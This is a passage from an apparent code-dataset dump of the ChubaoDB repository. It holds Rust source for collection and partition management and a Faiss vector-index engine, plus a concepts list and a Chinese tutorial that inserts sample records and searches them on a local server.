ASResult<MasterService> {\n Ok(MasterService {\n ps_cli: PsClient::new(conf.clone()),\n meta_service: HARepository::new(conf)?,\n partition_lock: RwLock::new(0),\n collection_lock: Mutex::new(0),\n })\n }\n\n pub async fn del_collection(&self, collection_name: &str) -> ASResult<Collection> {\n let _lock = self.collection_lock.lock().await;\n //1.query collection\n let c: Collection = self.get_collection(collection_name)?;\n\n //delete collection\n self.meta_service.delete_keys(vec![\n entity_key::collection_name(collection_name),\n entity_key::collection(c.id),\n ])?;\n\n //3.offload partition\n for pid in c.partitions.iter() {\n if let Err(e) = self.offload_partition(c.id, *pid, 0).await {\n error!(\n \"offload collection:{} partition:{} has err:{:?}\",\n c.id, pid, e\n );\n }\n }\n\n Ok(c)\n }\n\n pub async fn create_collection(&self, mut collection: Collection) -> ASResult<Collection> {\n info!(\"begin to create collection\");\n let _lock = self.collection_lock.lock().await;\n\n if collection.name == \"\" {\n return result_def!(\"collection name is none\");\n }\n\n if collection.partition_num <= 0 {\n error!(\"partition_num:{} is invalid\", collection.partition_num);\n return result_def!(\"partition_num:{} is invalid\", collection.partition_num);\n }\n\n if collection.partition_replica_num == 0 {\n return result_def!(\n \"partition_replica_num:{} is invalid\",\n collection.partition_replica_num\n );\n }\n\n //check collection exists\n match self.get_collection(&collection.name) {\n Ok(_) => {\n return result!(\n Code::AlreadyExists,\n \"collection:{} already exists\",\n collection.name\n )\n }\n Err(e) => {\n if e.code() != Code::RocksDBNotFound {\n return Err(e);\n }\n }\n }\n\n let seq = self.meta_service.increase_id(entity_key::SEQ_COLLECTION)?;\n\n info!(\"no coresponding collection found, begin to create connection \");\n let mut vector_index = Vec::new();\n let mut scalar_index = Vec::new();\n if collection.fields.len() > 0 {\n for (i, f) in collection.fields.iter_mut().enumerate() {\n validate_and_set_field(f)?;\n if f.is_vector() {\n vector_index.push(i);\n } else {\n scalar_index.push(i)\n }\n }\n }\n info!(\"all fields valid.\");\n collection.id = seq;\n collection.status = CollectionStatus::CREATING;\n collection.modify_time = current_millis();\n collection.vector_field_index = vector_index;\n collection.scalar_field_index = scalar_index;\n\n let partition_num = collection.partition_num;\n\n if partition_num == 0 {\n return result_def!(\"partition_num:{} is invalid\", partition_num);\n }\n\n let partition_replica_num = collection.partition_replica_num;\n\n if partition_replica_num == 0 {\n return result_def!(\"partition_replica_num:{} is invalid\", partition_replica_num);\n }\n\n let server_list: Vec<PServer> = self\n .meta_service\n .list(entity_key::pserver_prefix().as_str())?;\n\n let need_num = cmp::max(partition_num, partition_replica_num);\n if need_num as usize > server_list.len() {\n return result_def!(\n \"need pserver size:{} but all server is:{}\",\n need_num,\n server_list.len()\n );\n }\n let mut use_list: Vec<PServer> = Vec::new();\n let random = rand::thread_rng().gen_range(0, server_list.len());\n //from list_server find need_num for use\n let mut index = random % server_list.len();\n let mut detected_times = 1;\n loop {\n let s = server_list.get(index).unwrap();\n let ok = match self.ps_cli.status(s.addr.as_str()).await {\n Ok(gr) => match Code::from_i32(gr.code) {\n Code::EngineWillClose => false,\n _ => true,\n },\n Err(e) => {\n error!(\"conn ps:{} has err:{:?}\", s.addr.as_str(), e);\n false\n }\n };\n if !ok {\n continue;\n }\n use_list.push(s.clone());\n if use_list.len() >= need_num as usize || detected_times >= server_list.len() {\n break;\n }\n index += 1;\n detected_times += 1;\n }\n\n if need_num as usize > use_list.len() {\n return result_def!(\n \"need pserver size:{} but available server is:{}\",\n need_num,\n use_list.len()\n );\n }\n\n let mut partitions = Vec::with_capacity(partition_num as usize);\n let mut pids = Vec::with_capacity(partition_num as usize);\n let mut slots = Vec::with_capacity(partition_num as usize);\n let range = u32::max_value() / partition_num;\n for i in 0..need_num {\n let server = use_list.get(i as usize).unwrap();\n pids.push(i);\n slots.push(i * range);\n let mut replicas: Vec<Replica> = Vec::new();\n for j in 0..partition_replica_num {\n let id = use_list\n .get((i + j % need_num) as usize)\n .unwrap()\n .id\n .unwrap();\n replicas.push(Replica {\n node_id: id,\n replica_type: ReplicaType::NORMAL,\n });\n }\n let partition = Partition {\n id: i,\n collection_id: seq,\n leader: server.addr.to_string(),\n version: 0,\n replicas: replicas,\n };\n\n partitions.push(partition.clone());\n }\n\n collection.slots = slots;\n collection.partitions = pids;\n\n info!(\"prepare add collection info:{}\", partitions.len());\n\n self.meta_service.create(&collection)?;\n self.meta_service.put_batch(&partitions)?;\n\n for c in partitions {\n let mut replicas: Vec<ReplicaInfo> = vec![];\n for r in c.replicas {\n replicas.push(ReplicaInfo {\n node: r.node_id,\n replica_type: r.replica_type as u32,\n });\n }\n PartitionClient::new(c.leader)\n .load_or_create_partition(PartitionRequest {\n partition_id: c.id,\n collection_id: c.collection_id,\n readonly: false,\n version: 0,\n replicas: replicas,\n })\n .await?;\n }\n\n collection.status = CollectionStatus::WORKING;\n self.meta_service.put(&collection)?;\n self.meta_service.put_kv(\n entity_key::collection_name(collection.name.as_str()).as_str(),\n &coding::u32_slice(collection.id)[..],\n )?;\n Ok(collection)\n }\n\n pub fn get_collection(&self, collection_name: &str) -> ASResult<Collection> {\n let value = self\n .meta_service\n .get_kv(entity_key::collection_name(collection_name).as_str())?;\n\n self.get_collection_by_id(coding::slice_u32(&value[..]))\n }\n\n pub fn get_collection_by_id(&self, collection_id: u32) -> ASResult<Collection> {\n self.meta_service\n .get(entity_key::collection(collection_id).as_str())\n }\n\n pub fn list_collections(&self) -> ASResult<Vec<Collection>> {\n self.meta_service\n .list(entity_key::collection_prefix().as_str())\n }\n\n pub fn update_server(&self, mut server: PServer) -> ASResult<PServer> {\n server.modify_time = current_millis();\n self.meta_service.put(&server)?;\n return Ok(server);\n }\n\n pub fn list_servers(&self) -> ASResult<Vec<PServer>> {\n self.meta_service\n .list(entity_key::pserver_prefix().as_str())\n }\n\n pub fn get_server(&self, server_addr: &str) -> ASResult<PServer> {\n self.meta_service\n .get(entity_key::pserver(server_addr).as_str())\n }\n\n pub fn register(&self, mut server: PServer) -> ASResult<PServer> {\n match self.get_server(server.addr.clone().as_ref()) {\n Ok(ps) => Ok(ps),\n Err(e) => {\n if e.code() != Code::RocksDBNotFound {\n return Err(e);\n }\n let seq = self.meta_service.increase_id(entity_key::SEQ_PSERVER)?;\n server.id = Some(seq);\n\n match self.meta_service.put_kv(\n &entity_key::pserver_id(seq).as_str(),\n &server.addr.as_bytes(),\n ) {\n Ok(_) => {}\n Err(e) => return Err(e),\n }\n match self.meta_service.create(&server) {\n Ok(_) => {\n return Ok(server);\n }\n Err(e) => {\n if e.code() != Code::AlreadyExists {\n return Err(e);\n }\n match self.get_server(&server.addr.as_str()) {\n Ok(pserver) => {\n return Ok(pserver);\n }\n Err(e) => Err(e),\n }\n }\n }\n }\n }\n }\n\n pub fn get_server_addr(&self, server_id: u32) -> ASResult<String> {\n match self\n .meta_service\n .get_kv(entity_key::pserver_id(server_id).as_str())\n {\n Ok(v) => match String::from_utf8(v) {\n Ok(v) => Ok(v),\n Err(e) => result_def!(\"Invalid server addr UTF-8 sequence:{:?}\", e),\n },\n Err(e) => Err(e),\n }\n }\n\n pub fn list_partitions(&self, collection_name: &str) -> ASResult<Vec<Partition>> {\n let value = self\n .meta_service\n .get_kv(entity_key::collection_name(collection_name).as_str())?;\n\n self.list_partitions_by_id(coding::slice_u32(&value[..]))\n }\n\n pub fn list_partitions_by_id(&self, collection_id: u32) -> ASResult<Vec<Partition>> {\n self.meta_service\n .list(entity_key::partition_prefix(collection_id).as_str())\n }\n\n pub fn get_partition(&self, collection_id: u32, partition_id: u32) -> ASResult<Partition> {\n self.meta_service\n .get(entity_key::partiition(collection_id, partition_id).as_str())\n }\n\n pub async fn transfer_partition(&self, mut ptransfer: PTransfer) -> ASResult<()> {\n let (cid, pid, to_server) = (\n ptransfer.collection_id,\n ptransfer.partition_id,\n ptransfer.to_server.as_str(),\n );\n info!(\n \"try to offload partition with [collection_id:{}, partition_id:{},to_server: {}]\",\n cid, pid, to_server\n );\n\n self.ps_cli.status(to_server).await?; //validate can be transfer\n\n let old_partition = self.get_partition(cid, pid)?;\n let (old_addr, old_version) = (old_partition.leader, old_partition.version);\n\n for i in 0..100 as u8 {\n info!(\"try to transfer partition times:{}\", i);\n\n if i > 90 {\n warn!(\"to retry long times so make it back:{}\", old_addr);\n ptransfer.to_server = old_addr.clone();\n }\n\n if let Err(e) = self.offload_partition(cid, pid, old_version).await {\n if e.code() == Code::VersionErr {\n return Err(e);\n }\n sleep!(300);\n continue;\n } else {\n info!(\"offload collection:{} partition:{} success.\", cid, pid);\n }\n\n sleep!(300);\n\n match self\n .load_or_create_partition(\n ptransfer.to_server.as_str(),\n ptransfer.collection_id,\n ptransfer.partition_id,\n old_version,\n )\n .await\n {\n Ok(_) => {\n info!(\"load collection:{} partition:{} success.\", cid, pid);\n return Ok(());\n }\n Err(e) => {\n if e.code() == Code::VersionErr {\n return Err(e);\n }\n sleep!(300);\n continue;\n }\n }\n }\n return result_def!(\"tansfer has err\");\n }\n\n async fn load_or_create_partition(\n &self,\n addr: &str,\n collection_id: u32,\n partition_id: u32,\n version: u64,\n ) -> ASResult<GeneralResponse> {\n info!(\n \"try to create or load collection:{} partition:{}\",\n collection_id, partition_id\n );\n\n let partition = self.get_partition(collection_id, partition_id)?;\n\n //check version\n if partition.version > version {\n return result!(\n Code::VersionErr,\n \"load version has version err expected:{} , found:{} \",\n version,\n partition.version,\n );\n }\n\n // load begin to try offload partition, try not to repeat the load\n for ps in self.list_servers()? {\n for wp in ps.write_partitions {\n if (wp.collection_id, wp.id) == (collection_id, partition_id) {\n return result!(\n Code::PartitionLoadErr,\n \"partition has been used in server:{}\",\n ps.addr\n );\n }\n }\n }\n\n PartitionClient::new(addr.to_string())\n .load_or_create_partition(PartitionRequest {\n collection_id: collection_id,\n partition_id: partition_id,\n readonly: false,\n version: version,\n replicas: vec![],\n })\n .await\n }\n\n async fn offload_partition(\n &self,\n collection_id: u32,\n partition_id: u32,\n version: u64,\n ) -> ASResult<()> {\n for ps in self.list_servers()? {\n for wp in ps.write_partitions {\n if (wp.collection_id, wp.id) == (collection_id, partition_id) {\n PartitionClient::new(ps.addr.clone())\n .offload_partition(PartitionRequest {\n collection_id: collection_id,\n partition_id: partition_id,\n readonly: false,\n version: version,\n replicas: vec![],\n })\n .await?;\n }\n }\n }\n\n let par = self.get_partition(collection_id, partition_id)?;\n\n PartitionClient::new(par.leader.clone())\n .offload_partition(PartitionRequest {\n collection_id: collection_id,\n partition_id: partition_id,\n readonly: false,\n version: version,\n replicas: vec![],\n })\n .await?;\n\n Ok(())\n }\n\n pub async fn update_partition(&self, partition: Partition) -> ASResult<()> {\n let _lock = self.partition_lock.write().await;\n match self.get_partition(partition.collection_id, partition.id) {\n Ok(p) => {\n if p.version >= partition.version {\n return result!(\n Code::VersionErr,\n \"the collection:{} partition:{} version not right expected:{} found:{}\",\n partition.collection_id,\n partition.id,\n partition.version,\n p.version\n );\n }\n }\n Err(e) => {\n if e.code() != Code::RocksDBNotFound {\n return Err(e);\n }\n }\n }\n self.meta_service.put(&partition)\n }\n}\n\nfn validate_and_set_field(field: &mut Field) -> ASResult<()> {\n if field.name().trim() == \"\" {\n return result_def!(\"unset field name in field:{:?}\", field);\n }\n\n Ok(())\n}\n\n#[test]\nfn test_json_schema() {\n let collection_schema = \"{\\\"name\\\": \\\"t1\\\",\\\"partition_num\\\": 1,\\\"replica_num\\\": 1,\\\"fields\\\": [{\\\"name\\\": \\\"name\\\", \\\"type\\\": \\\"string\\\", \\\"index\\\": true, \\\"store\\\": true, \\\"array\\\": false }, { \\\"name\\\": \\\"age\\\", \\\"type\\\": \\\"int\\\", \\\"index\\\": true, \\\"store\\\": true, \\\"array\\\": false } ]}\";\n let collection_value: serde_json::value::Value = serde_json::from_str(collection_schema)\n .expect(format!(\"collection to json has err:{}\", collection_schema).as_str());\n match collection_value.get(\"name\") {\n Some(s) => info!(\"{}\", s.as_str().unwrap()),\n None => panic!(\"not found\"),\n }\n}\n" }, { "alpha_fraction": 0.639053225517273, "alphanum_fraction": 0.639053225517273, "avg_line_length": 5.857142925262451, "blob_id": "9cb15dfb5a31a85864d6998d0a7e0d164f871b4b", "content_id": "b82691d8ed513b5fddefb3f88cfc2466bda9a7ef", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 169, "license_type": "permissive", "max_line_length": 28, "num_lines": 21, "path": "/docs/concepts.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# Concepts of ChubaoDB\r\n\r\nCluster, \r\n\r\nZone,\r\n\r\nCollection,\r\n\r\nSchema,\r\n\r\nPartition/Hash Key, Sort Key\r\n\r\nDocument\r\n\r\nField\r\n\r\nMaster\r\n\r\nPartition Server\r\n\r\nRouter\r\n\r\n\r\n" }, { "alpha_fraction": 0.58432936668396, "alphanum_fraction": 0.587649405002594, "avg_line_length": 20.826086044311523, "blob_id": "b90f3f49f41a601f6785b73564dbe513469117bb", "content_id": "d1255d193b1bb2f2d830873a8dad0d0af385c934", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 1506, "license_type": "permissive", "max_line_length": 86, "num_lines": 69, "path": "/src/pserver/simba/engine/faiss_empty.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::pserver::simba::engine::engine::{BaseEngine, Engine};\nuse crate::pserver::simba::engine::rocksdb::RocksDB;\nuse crate::pserverpb::*;\nuse crate::util::error::*;\nuse crate::*;\nuse roaring::RoaringBitmap;\nuse std::collections::HashMap;\nuse std::ops::Deref;\nuse std::sync::Arc;\n#[derive(PartialEq, Copy, Clone)]\npub enum IndexStatus {\n NotReady,\n Runging,\n Stoping,\n Stoped,\n}\n\n// this struct for to use without faiss example window or user not need vector search\npub struct Faiss {\n _db: Arc<RocksDB>,\n base: Arc<BaseEngine>,\n pub fields: HashMap<String, Arc<IndexField>>,\n}\n\nimpl Deref for Faiss {\n type Target = Arc<BaseEngine>;\n fn deref<'a>(&'a self) -> &'a Arc<BaseEngine> {\n &self.base\n }\n}\n\npub struct IndexField {}\n\nimpl IndexField {\n pub fn count(&self) -> u32 {\n 0\n }\n}\n\nimpl Faiss {\n pub fn new(db: Arc<RocksDB>, base: Arc<BaseEngine>) -> ASResult<Faiss> {\n Ok(Faiss {\n _db: db,\n base: base,\n fields: HashMap::new(),\n })\n }\n\n pub fn search(\n &self,\n _sdreq: Arc<QueryRequest>,\n _bitmap: Option<RoaringBitmap>,\n _total: u64,\n ) -> ASResult<SearchDocumentResponse> {\n return result_def!(\"not support\");\n }\n\n pub fn get_field(&self, _name: &str) -> ASResult<Arc<IndexField>> {\n return result_def!(\"not support\");\n }\n}\n\nimpl Engine for Faiss {\n fn flush(&self) -> ASResult<()> {\n Ok(())\n }\n\n fn release(&self) {}\n}\n" }, { "alpha_fraction": 0.535685658454895, "alphanum_fraction": 0.6796311140060425, "avg_line_length": 21.889907836914062, "blob_id": "d3bc474b84388ef3a38e55d1f470ca5533c67fcd", "content_id": "306265b2a6c208282e7950a7a2651b71d68374c9", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3044, "license_type": "permissive", "max_line_length": 113, "num_lines": 109, "path": "/docs/zh-CN/src/search.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# 搜索那些事儿\n\n下面我们来介绍一下chubaodb的搜索功能,在这之前,你确信已经通过[库表管理](*./collection.md*)创建了表。\n\n我们先插入一些测试数据吧,先创建5个人\n\n````\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"张三\",\n\t\"age\": 20,\n\t\"birthday\": \"2000-02-02\",\n\t\"description\": \"zhangsan can use java good at php, but python not good at\",\n\t\"skills\": [\"java\", \"php\", \"python\"]\n}\n' \"http://127.0.0.1:8080/put/person/1\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"李四\",\n\t\"age\": 30,\n\t\"birthday\": \"1990-02-02\",\n\t\"description\": \"lisi can use java ,only java\",\n\t\"skills\": [\"java\"]\n}\n' \"http://127.0.0.1:8080/put/person/2\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"王五\",\n\t\"age\": 20,\n\t\"birthday\": \"2000-03-20\",\n\t\"description\": \"wangwu is c++ rust good at!\",\n\t\"skills\": [\"c++\", \"rust\"]\n}\n' \"http://127.0.0.1:8080/put/person/3\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"牛六\",\n\t\"age\": 35,\n\t\"birthday\": \"1985-12-02\",\n\t\"description\": \"niuliu age too old\",\n\t\"skills\": [\"java\", \"golang\", \"python\", \"rust\"]\n}\n' \"http://127.0.0.1:8080/put/person/4\"\n\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"赵七\",\n\t\"age\": 18,\n\t\"birthday\": \"2002-03-12\",\n\t\"description\": \"is a web user, he can use ruby and php\",\n\t\"skills\": [\"php\", \"ruby\"]\n}\n' \"http://127.0.0.1:8080/put/person/5\"\n````\n\n\n\n插入完成后,我们通过search接口可以查看到这五个人 `http://127.0.0.1:8080/search/person`\n\n\n\n![image-20200715134112636](image/image-20200715134112636.png)\n\n\n\nhttp://127.0.0.1:8080/search/person` 参数为空时语义为query:* search 又如下参数\n\n* query 查询语句,也就是类似lucene 的dsl 。(TODO: 专门一章介绍dsl)\n* def_fields 默认查询字段。当query不指定字段时候以此字段为查询,为or的关系,可以多个字段用逗号`,`隔开\n* size: 返回数据条数,默认为20\n* sort: 排序规则 example:*name:asc|age:desc* , 默认为score排序也就是相关度\n\n下面我们把这些query 都用上做一个查询吧!\n\n`http://127.0.0.1:8080/search/person?query=name:%E5%BC%A0%E4%B8%89&size=3&sort=age:asc`\n\n![image-20200715134143880](image/image-20200715134143880.png)\n\n下面让我们自举一些需求。\n\n查找摘要中 包含 rust 或者 java 的人 \n\n* `http://127.0.0.1:8080/search/person?query=description:java%20OR%20description:rust&size=3&sort=age:asc`\n* 上述语句等同于 `http://127.0.0.1:8080/search/person?query=java%20OR%20rust&def_fields=description&size=3&sort=age:asc`\n\n\n\n![image-20200715134337378](image/image-20200715134337378.png)\n\n\n\n查找摘要中 包含 java 的人 按照年龄倒序\n\n````\nhttp://127.0.0.1:8080/search/person?query=java&def_fields=description&size=3&sort=age:desc\n````\n\n![image-20200715134556712](image/image-20200715134556712.png)\n\n\n\n### 精确查找\n\n在用户名或者摘要中查找 `web user` 为关键字的用户。\n\n![image-20200715134811989](image/image-20200715134811989.png)" }, { "alpha_fraction": 0.5953250527381897, "alphanum_fraction": 0.6048210263252258, "avg_line_length": 30.837209701538086, "blob_id": "2650f235271e880fc53ff0123e2d36038815f20d", "content_id": "de3bf36a32e32130b355db44519f5ed1a8fe7100", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 1369, "license_type": "permissive", "max_line_length": 87, "num_lines": 43, "path": "/src/pserver/simba/latch.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::util::error::*;\nuse crate::*;\nuse std::sync::Mutex;\npub struct Latch {\n locks: Vec<Mutex<usize>>,\n size: usize,\n}\n\nimpl Latch {\n pub fn new(size: usize) -> Latch {\n let mut locks = Vec::with_capacity(size);\n for i in 0..size {\n locks.push(Mutex::new(i));\n }\n Latch {\n locks: locks,\n size: size,\n }\n }\n pub fn latch_lock<'a>(&'a self, slot: u32) -> &'a Mutex<usize> {\n &(self.locks[slot as usize % self.size])\n }\n\n pub fn latch<T>(&self, slot: u32, f: impl FnOnce() -> ASResult<T>) -> ASResult<T> {\n match self.locks[slot as usize % self.size].lock() {\n Ok(_) => f(),\n Err(e) => result_def!(\"get latch lock has err:{}\", e),\n }\n }\n}\n" }, { "alpha_fraction": 0.45365291833877563, "alphanum_fraction": 0.4633062779903412, "avg_line_length": 30.006803512573242, "blob_id": "ede2a2d647c22b7a4d709192a9e19fa842a0ef4c", "content_id": "14428c466ca1fbc3faee2457a624978d09cb820d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 18232, "license_type": "permissive", "max_line_length": 89, "num_lines": 588, "path": "/src/pserver/simba/engine/faiss.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::pserver::simba::engine::engine::{BaseEngine, Engine};\nuse crate::pserver::simba::engine::rocksdb::RocksDB;\nuse crate::pserverpb::*;\nuse crate::util::time::current_millis;\nuse crate::util::{\n coding::field_coding,\n coding::{slice_slice, slice_u32, u32_slice},\n entity::*,\n error::*,\n};\nuse crate::*;\nuse faiss4rs::{Config, Index};\nuse log::{debug, error, info, warn};\nuse roaring::RoaringBitmap;\nuse std::collections::HashMap;\nuse std::ops::Deref;\nuse std::path::{Path, PathBuf};\nuse std::sync::{\n atomic::{AtomicU32, Ordering::SeqCst},\n Arc, RwLock,\n};\n#[derive(PartialEq, Copy, Clone)]\npub enum IndexStatus {\n NotReady,\n Runging,\n Stoping,\n Stoped,\n}\n\nconst VECTOR_DIR_NAME: &'static str = \"vector\";\nconst INDEX_FILE_NAME: &'static str = \"index.dat\";\nconst INDEX_FILE_NAME_TMP: &'static str = \"index.dat.tmp\";\n\npub struct IndexField {\n pub field: VectorField,\n pub index: RwLock<Index>,\n index_dir: PathBuf,\n flush_count: AtomicU32,\n status: RwLock<IndexStatus>,\n}\n\nimpl IndexField {\n fn add_with_ids(&self, ids: &Vec<i64>, data: &Vec<f32>) -> ASResult<()> {\n conver(self.index.read().unwrap().add_with_ids(ids, data))\n }\n\n fn search(&self, queries: &Vec<f32>, size: i32) -> ASResult<(Vec<i64>, Vec<f32>)> {\n let num_query = queries.len() as i32 / self.field.dimension;\n Ok(self.index.read().unwrap().search(size, num_query, queries))\n }\n\n //return bool about need train model\n fn flush(&self) -> ASResult<()> {\n if self.status.read().unwrap().deref() == &IndexStatus::Runging {\n let count = self.flush_count.load(SeqCst);\n if self.count() - count > 10000 {\n self.flush_count.store(self.count(), SeqCst);\n self._flush()?;\n }\n }\n\n Ok(())\n }\n\n fn _flush(&self) -> ASResult<()> {\n info!(\"field:{} begin flush vector index\", self.field.name);\n let now = current_millis();\n self.index.write().unwrap().write_index();\n let tmp = self\n .index_dir\n .join(format!(\"{}_{}\", self.field.name, INDEX_FILE_NAME_TMP));\n let effe = self\n .index_dir\n .join(format!(\"{}_{}\", self.field.name, INDEX_FILE_NAME));\n std::fs::rename(tmp, effe)?;\n info!(\n \"field:{} begin flush vector index ok use time:{}\",\n self.field.name,\n (current_millis() - now)\n );\n Ok(())\n }\n\n fn stop(&self, sync: bool) {\n {\n let mut stop = self.status.write().unwrap();\n if stop.deref() != &IndexStatus::Stoped {\n *stop = IndexStatus::Stoping;\n }\n }\n\n if let Err(e) = self._flush() {\n error!(\"field:{} flush has err:{}\", self.field.name, e.to_string());\n };\n\n if sync {\n for _ in 0..100 {\n crate::sleep!(1000);\n if self.status() == IndexStatus::Stoped {\n info!(\"stop field:{} index has stoped.\", self.field.name);\n return;\n }\n }\n\n error!(\"stop field:{} index has time out.\", self.field.name);\n }\n }\n\n fn status(&self) -> IndexStatus {\n *self.status.read().unwrap().deref()\n }\n\n pub fn max_id(&self) -> u32 {\n self.index.read().unwrap().max_id() as u32\n }\n\n pub fn count(&self) -> u32 {\n self.index.read().unwrap().count() as u32\n }\n}\n\npub struct Faiss {\n base: Arc<BaseEngine>,\n pub fields: HashMap<String, Arc<IndexField>>,\n}\n\nimpl Deref for Faiss {\n type Target = Arc<BaseEngine>;\n fn deref<'a>(&'a self) -> &'a Arc<BaseEngine> {\n &self.base\n }\n}\n\nimpl crate::util::entity::MetricType {\n pub fn to_faiss(&self) -> faiss4rs::MetricType {\n match self {\n MetricType::L2 => faiss4rs::MetricType::L2,\n MetricType::InnerProduct => faiss4rs::MetricType::InnerProduct,\n }\n }\n}\n\nimpl Faiss {\n pub fn new(db: Arc<RocksDB>, base: Arc<BaseEngine>) -> ASResult<Faiss> {\n let mut faiss = Faiss {\n base: base.clone(),\n fields: HashMap::new(),\n };\n for i in faiss.base.collection.vector_field_index.iter() {\n let f = base.collection.fields[*i as usize].vector()?;\n\n let index_dir = base.base_path().join(Path::new(VECTOR_DIR_NAME));\n if !index_dir.exists() {\n std::fs::create_dir_all(&index_dir)?;\n }\n\n let mut conf = Config {\n dimension: f.dimension,\n description: f.description.clone(),\n metric_type: f.metric_type.to_faiss(),\n path: index_dir\n .clone()\n .join(format!(\"{}_{}\", f.name, INDEX_FILE_NAME))\n .to_str()\n .unwrap()\n .to_string(),\n };\n\n let (status, index) = if std::path::Path::new(conf.path.as_str()).is_file() {\n (IndexStatus::Runging, Index::open_or_create(conf))\n } else {\n conf.description = String::from(\"Flat\");\n (IndexStatus::NotReady, Index::new(conf))\n };\n\n let count = index.count() as u32;\n let index = Arc::new(IndexField {\n field: f.clone(),\n index: RwLock::new(index),\n index_dir: index_dir,\n flush_count: AtomicU32::new(count),\n status: RwLock::new(status),\n });\n\n let suffix = field_coding(&f.name, u32::max_value());\n\n let dimension = index.field.dimension as usize;\n let is_array = index.field.array;\n let batch_size = 1000;\n let mut buf: Vec<f32> = Vec::with_capacity(batch_size);\n let mut ids: Vec<i64> = Vec::with_capacity(dimension * batch_size * 4);\n\n loop {\n let temp = &mut buf;\n let ids = &mut ids;\n unsafe {\n ids.set_len(0);\n temp.set_len(0);\n }\n\n read_vector_buffer(\n &db,\n field_coding(&f.name, index.max_id() + 1),\n suffix.as_slice(),\n ids,\n temp,\n dimension,\n is_array,\n )?;\n\n if ids.len() == 0 {\n break;\n }\n\n if let Err(e) = index.add_with_ids(ids, temp) {\n error!(\"index with ids has err:{:?}\", e);\n continue;\n };\n }\n {\n let db = db.clone();\n let index = index.clone();\n let status = status.clone();\n std::thread::spawn(move || {\n let name = index.field.name.clone();\n if status == IndexStatus::Runging {\n Faiss::index_job_by_index(db, index);\n warn!(\"field:{:?} stop index_job_by_index\", name);\n } else if status == IndexStatus::NotReady {\n Faiss::index_job(db, index);\n warn!(\"field:{:?} stop index_job\", name);\n }\n });\n }\n\n faiss.fields.insert(f.name.clone(), index);\n }\n Ok(faiss)\n }\n\n pub fn search(\n &self,\n sdreq: Arc<QueryRequest>,\n _bitmap: Option<RoaringBitmap>,\n total: u64,\n ) -> ASResult<SearchDocumentResponse> {\n if total == 0 {\n return Ok(SearchDocumentResponse {\n code: Code::Success as i32,\n total: total,\n hits: Vec::new(),\n info: None, //if this is none means it is success\n });\n }\n\n if let Some(vq) = sdreq.vector_query.as_ref() {\n let (ids, scores) = self\n .get_field(vq.field.as_str())?\n .search(&vq.vector, sdreq.size as i32)?;\n\n let mut sdr = SearchDocumentResponse {\n code: Code::Success as i32,\n total: total,\n hits: Vec::with_capacity(ids.len()),\n info: None, //if this is none means it is success\n };\n\n for (i, id) in ids.into_iter().enumerate() {\n sdr.hits.push(Hit {\n collection_name: self.collection.name.clone(),\n score: scores[i],\n doc: u32_slice(id as u32).to_vec(),\n });\n }\n return Ok(sdr);\n }\n return result_def!(\"impossible\");\n }\n\n pub fn get_field(&self, name: &str) -> ASResult<Arc<IndexField>> {\n match self.fields.get(name) {\n Some(i) => Ok(i.clone()),\n None => result_def!(\"the field:{} not have vector index\", name),\n }\n }\n\n fn index_job(db: Arc<RocksDB>, index: Arc<IndexField>) {\n warn!(\"field:{:?} start index_job \", index.field.name);\n db.arc_count.fetch_add(1, SeqCst);\n let field_name = index.field.name.as_str();\n let suffix = field_coding(field_name, u32::max_value());\n\n let is_array = index.field.array;\n let dimension = index.field.dimension as usize;\n let train_size = index.field.train_size as usize;\n\n let max_len = (train_size * dimension) as usize;\n let mut buf: Vec<f32> = Vec::with_capacity(max_len);\n let mut ids: Vec<i64> = Vec::with_capacity(train_size as usize);\n let once = std::sync::Once::new();\n\n while index.status() == IndexStatus::NotReady {\n let temp = &mut buf;\n let ids = &mut ids;\n unsafe {\n ids.set_len(0);\n temp.set_len(0);\n }\n\n if train_size > 0 && index.count() > train_size as u32 {\n let db = db.clone();\n let index = index.clone();\n let name = index.field.name.clone();\n\n once.call_once(|| {\n std::thread::spawn(move || {\n db.arc_count.fetch_sub(1, SeqCst);\n Faiss::index_job_by_trian_index(db, index);\n warn!(\"field:{:?} stop index_job_by_trian_index \", name);\n });\n });\n }\n\n let result = read_vector_buffer(\n &db,\n field_coding(field_name, index.max_id() + 1),\n suffix.as_slice(),\n ids,\n temp,\n dimension,\n is_array,\n );\n\n if let Err(e) = result {\n error!(\"create index has err:{:?}\", e);\n crate::sleep!(3000);\n continue;\n }\n if ids.len() == 0 {\n debug!(\"field:{} no document need index so skip\", field_name);\n crate::sleep!(3000);\n continue;\n }\n if let Err(e) = index.add_with_ids(ids, temp) {\n error!(\"index with ids has err:{:?}\", e);\n crate::sleep!(3000);\n continue;\n };\n if ids.len() < train_size {\n crate::sleep!(3000);\n }\n }\n }\n\n fn index_job_by_trian_index(db: Arc<RocksDB>, index: Arc<IndexField>) {\n warn!(\n \"field:{:?} start index_job_by_trian_index\",\n index.field.name\n );\n db.arc_count.fetch_add(1, 